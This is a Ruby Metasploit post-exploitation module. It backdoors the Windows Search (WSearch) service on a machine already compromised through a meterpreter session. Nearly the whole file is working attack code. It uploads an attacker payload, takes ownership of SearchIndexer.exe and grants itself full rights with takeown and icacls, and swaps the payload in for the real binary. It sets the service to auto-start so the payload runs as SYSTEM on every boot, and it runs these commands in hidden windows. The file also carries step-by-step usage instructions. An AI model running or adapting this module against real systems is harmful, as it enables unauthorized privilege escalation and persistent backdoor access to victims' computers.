## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # [ persist_priv_Wsearch.rb ] # $Id$ 1.6 Author: pedr0 Ubuntu aka: [r00t-3xp10it] # Hosted By: peterubuntu10[at]sourceforge[dot]net # http://sourceforge.net/projects/msf-auxiliarys/ # https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/persist_priv_Wsearch.rb # # # --- # [ POST-EXPLOITATION MODULE DESCRIPTION ] # This post-exploitation module requires a meterpreter session to be able to upload/inject our payload.exe # into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name # and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring. # To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name # of the service. 'Rebooting the system or restarting the service will run the malicious executable with elevated privileges. # # # [ HOW TO EXPLOIT THE VULNERABILITY ] # 1Ao - exploit target system with one meterpreter payload (open session) # 2Ao - build new payload called: SearchIndexer.exe (2Ao payload to send to target) # 3Ao - start conrrespondent handler to wait for the 2Ao payload connection. # 4Ao - use post/windows/escalate/persist_priv_Wsearch (set options required) # 5Ao - set UPLOAD_PATH /root/SearchIndexer.exe (2Ao payload to send to target) # 6Ao - exploit # # # [ MODULE OPTIONS ] # HINT: to unset all values use: msf post(persist_priv_Wsearch) > unset all # Input The session number to run this module on => set SESSION 3 # Input full path of SearchIndexer.exe to upload => set UPLOAD_PATH /root/shell/output/SearchIndexer.exe # Check WSearch service auto-start status? => set SERVICE_STATUS true # revert WSearch service executable to default? => set DELETE_PERSISTENCE true # --- # # # [ PORT MODULE TO METASPLOIT DATABASE ] # Kali linux COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/persist_priv_Wsearch.rb # Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/persist_priv_Wsearch.rb # Manually Path Search: root@kali:~# locate modules/post/windows/escalate # # # [ LOAD/USE AUXILIARY ] # meterpreter > background # msf exploit(handler) > reload_all # msf exploit(handler) > use post/windows/escalate/persist_priv_Wsearch # msf post(persist_priv_Wsearch) > info # msf post(persist_priv_Wsearch) > show options # msf post(persist_priv_Wsearch) > show advanced options # msf post(persist_priv_Wsearch) > set [option(s)] # msf post(persist_priv_Wsearch) > exploit ## # ---------------------------- # Module Dependencies/requires # ---------------------------- require 'rex' require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/priv' # ---------------------------------- # Metasploit Class name and includes # ---------------------------------- class MetasploitModule < Msf::Post Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::Windows::Priv # ----------------------------------------- # Building Metasploit/Armitage info GUI/CLI # ----------------------------------------- def initialize(info={}) super(update_info(info, 'Name' => 'persistence/privilege_escalation in WSearch', 'Description' => %q{ This post-exploitation module requires a meterpreter session to be able to upload/inject our SearchIndexer.exe into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring. To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges."WARNING: payload to send must be named as: SearchIndexer.exe" }, 'License' => UNKNOWN_LICENSE, 'Author' => [ 'peterubuntu10[at]sourceforge[dot]net', # post-module author/vuln discover 'Special thanks: milton_barra', # testing/debug module ], 'Version' => '$Revision: 1.6', 'DisclosureDate' => 'out 25 2016', 'Platform' => 'windows', 'Arch' => 'x86_x64', 'Privileged' => 'false', 'Targets' => [ # Tested againts windows 7 (32 bits) | XP SP1 (32 bits) [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ] ], 'DefaultTarget' => '3', # default its to run againts windows 7 (32 bits) 'References' => [ [ 'URL', 'http://goo.gl/OvgbW' ], [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ], [ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ], [ 'URL', 'http://computerstepbystep.com/windows_search_service.html' ], [ 'URL', 'http://www.winhelponline.com/blog/take-ownership-of-file-or-folder/' ], [ 'URL', 'https://technet.microsoft.com/en-us/library/cc753525%28v=ws.11%29.aspx' ] ], 'DefaultOptions' => { 'SESSION' => '1', # Default its to run againts session 1 }, 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('SESSION', [ true, 'The session number to run this module on']), OptString.new('UPLOAD_PATH', [ false, 'Input the full path of SearchIndexer.exe to upload']), OptBool.new('SERVICE_STATUS', [ false, 'Check remote WSearch service settings?' , false]) ], self.class) register_advanced_options( [ OptBool.new('DELETE_PERSISTENCE', [ false, 'revert WSearch service executable to default?' , false]) ], self.class) end # ---------------------------------------------- # Check for proper target Platform (win32|win64) # ---------------------------------------------- def unsupported session = client sys = session.sys.config.sysinfo print_warning("[ABORT]: Operative System => #{sys['OS']}") print_error("Only windows systems are supported by this module...") print_error("Please execute [info] for further information...") print_line("") raise Rex::Script::Completed end # ---------------------------------------------------------- # INJECT/UPLOAD OUR EXECUTABLE INTO WSearch BINARY_PATH_NAME # ---------------------------------------------------------- def ls_stage1 r='' session = client upath = datastore['UPLOAD_PATH'] bin_path = "%systemroot%\\system32\\SearchIndexer.exe" # check for proper config settings enter # to prevent 'unset all' from deleting default options... if datastore['UPLOAD_PATH'] == 'nil' print_error("Options not configurated correctly...") print_warning("Please set UPLOAD_PATH option...") return nil else # elevate privs befor running module print_status("Persisting your payload in target system.") client.sys.config.getprivs.each do |priv| end end # check target system language to define key variable to use in (icacls) syntax... check_lang = registry_getvaldata("HKLM\\System\\CurrentControlSet\\Control\\Nls\\Language","InstallLanguage") if check_lang == "0816" || check_lang == "0416" print_warning("Target System language detected:Portuguese...") key = "Administrador" elsif check_lang == "0409" || check_lang == "0009" || check_lang == "0809" || check_lang == "0C09" || check_lang == "1009" || check_lang == "0421" || check_lang == "0415" print_warning("Target System language detected:English...") key = "Administrator" elsif check_lang == "0410" print_warning("Target System language detected:Italian...") key = "Amministratore" elsif check_lang == "040C" || check_lang == "0413" print_warning("Target System language detected:French...") key = "Administrateur" elsif check_lang == "0407" print_warning("Target System language detected:German...") key = "Verwalter" else print_error("post-module cant define target system language...") print_warning("defaulting key to english language [Administrator]") key = "Administrator" end # list of arrays to execute arrays = [ 'ren %systemroot%\\\\system32\\\\SearchIndexer.exe SearchIndexer.bk', 'move /y %temp%\\\\SearchIndexer.exe %systemroot%\\\\system32\\\\SearchIndexer.exe', 'sc start WSearch' ] print_good("Stoping WSearch remote service...") # stop service to enable proper configuration r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) print_good("Setting service to auto-start with windows...") # set service to auto-start with windows r = session.sys.process.execute("cmd.exe /c sc config WSearch start= auto", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) # upload our executable into 'temp' folder... print_good("Uploading payload to target temp folder...") client.fs.file.upload("%temp%\\SearchIndexer.exe","#{upath}") # takeown of SearchIndexer.exe print_good("Takeowner of SearchIndexer to replace it by our executable.") print_good(" Execute => takeown /f #{bin_path}") r = session.sys.process.execute("cmd.exe /c takeown /f #{bin_path}", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) # grant admin permitions (icacls) print_good(" Execute => icacls #{bin_path} /grant #{key}:(F)") r = session.sys.process.execute("cmd.exe /c icacls #{bin_path} /grant #{key}:(F)", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) # loop funtion to manipulate file permitions in target system. session.response_timeout=120 arrays.each do |cmd| begin # execute cmd prompt in a hidden channelized windows r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) print_good(" Execute => #{cmd}") # close client channel when done while(d = r.channel.read) break if d == "" end end end # task completed successefully... print_good("Restarting WSearch service...") sleep(2.0) print_warning("WSearch service [binary_path_name] backdoored successefuly...") print_status("Setup one handler and Wait everytime that system restarts OR") print_status("Setup one handler and restart Wsearch service: sc start WSearch") print_line("") # close channel when done r.channel.close r.close # error exception funtion rescue ::Exception => e print_error("Error: #{e.class} #{e}") end # --------------------------------------------------------- # DELETE/REVERT WSEARCH SERVICE EXECUTABLE TO DEFAULT STAGE # --------------------------------------------------------- def ls_stage2 r='' session = client backup = "%systemroot%\\system32\\SearchIndexer.bk" # check for proper config settings enter # to prevent 'unset all' from deleting default options... if datastore['DELETE_PERSISTENCE'] == 'nil' print_error("Options not configurated correctly...") print_warning("Please set DELETE_PERSISTENCE option...") return nil else # elevate privs befor running module print_status("Revert WSearch service executable to default stage") client.sys.config.getprivs.each do |priv| end end # list of arrays to execute arrays = [ 'takeown /f %systemroot%\\\\system32\\\\SearchIndexer.exe', 'ren %systemroot%\\\\system32\\\\SearchIndexer.bk SearchIndexer.exe', 'sc config WSearch start= demand', 'sc start WSearch' ] # check if backup file exist on target if client.fs.file.exists?("#{backup}") print_warning("Backup SearchIndexer.bk file:found...") print_good("Stoping WSearch remote service...") # stop service to enable proper configuration r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) # loop funtion to manipulate file permitions in target system. print_good("Takeowner of SearchIndexer service executable...") session.response_timeout=120 arrays.each do |cmd| begin # execute cmd prompt in a hidden channelized windows r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) print_good(" Execute => #{cmd}") # close client channel when done while(d = r.channel.read) break if d == "" end end end print_good("Restarting WSearch service...") sleep(2.0) print_warning("WSearch service executable reverted to default stage...") print_status("we have lost our backdoor :( but feeded the white hacker within :D") print_line("") # close channel when done r.channel.close r.close else print_error("Backupfile: SearchIndexer.bk => NOT FOUND...") print_warning("post-module did not have reverted the service default executable.") print_line("") end # error exception funtion rescue ::Exception => e print_error("Error: #{e.class} #{e}") end # ------------------------------------ # CHECK/DISPLAY WSEARCH SERVICE STATUS # ------------------------------------ def ls_stage3 r='' serv="WSearch" session = client sysnfo = session.sys.config.sysinfo # check for proper config settings enter # to prevent 'unset all' from deleting default options... if datastore['SERVICE_STATUS'] == 'nil' print_error("Options not configurated correctly...") print_warning("Please set SERVICE_STATUS option...") return nil else print_status("Checking WSearch service settings...") sleep(2.0) end print_warning("Reading service hive registry keys...") # search in target regedit for WSearch auto-start service status # Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled check_stats = registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") if check_stats == 2 startup = "auto_start" elsif check_stats == 3 startup = "manual_start" elsif check_stats == 4 startup = "disabled_start" else startup = "unknow" print_error("post-module cant define service auto_start status...") print_warning("enter into a shell session and execute: sc qc WSearch status") end sleep(1.0) # display WSearch service current settings. print_line("") print_line(" :host => #{sysnfo['Computer']}") print_line(" :service => #{serv}") print_line(" :status => running") print_line(" :startup => #{startup}") print_line("") # error exception funtion rescue ::Exception => e print_error("Error: #{e.class} #{e}") end # ------------------------------------------------ # MAIN DISPLAY WINDOWS (ALL MODULES - def run) # Running sellected modules against session target # ------------------------------------------------ def run session = client # Check for proper target Platform unsupported if client.platform !~ /win32|win64/i # Variable declarations (msf API calls) sysnfo = session.sys.config.sysinfo runtor = client.sys.config.getuid runsession = client.session_host directory = client.fs.dir.pwd # Print banner and scan results on screen print_line(" +---------------------------------------------+") print_line(" | PERSISTENCE + PRIV_ESCAL IN WSEARCH SERVICE |") print_line(" | Author: Pedro Ubuntu [ r00t-3xp10it ] |") print_line(" +---------------------------------------------+") print_line("") print_line(" Running on session : #{datastore['SESSION']}") print_line(" Computer : #{sysnfo['Computer']}") print_line(" Operative System : #{sysnfo['OS']}") print_line(" Target IP addr : #{runsession}") print_line(" Payload directory : #{directory}") print_line(" Client UID : #{runtor}") print_line("") print_line("") # ------------------------------------ # Selected settings to run # ------------------------------------ if datastore['UPLOAD_PATH'] ls_stage1 end if datastore['DELETE_PERSISTENCE'] ls_stage2 end if datastore['SERVICE_STATUS'] ls_stage3 end end end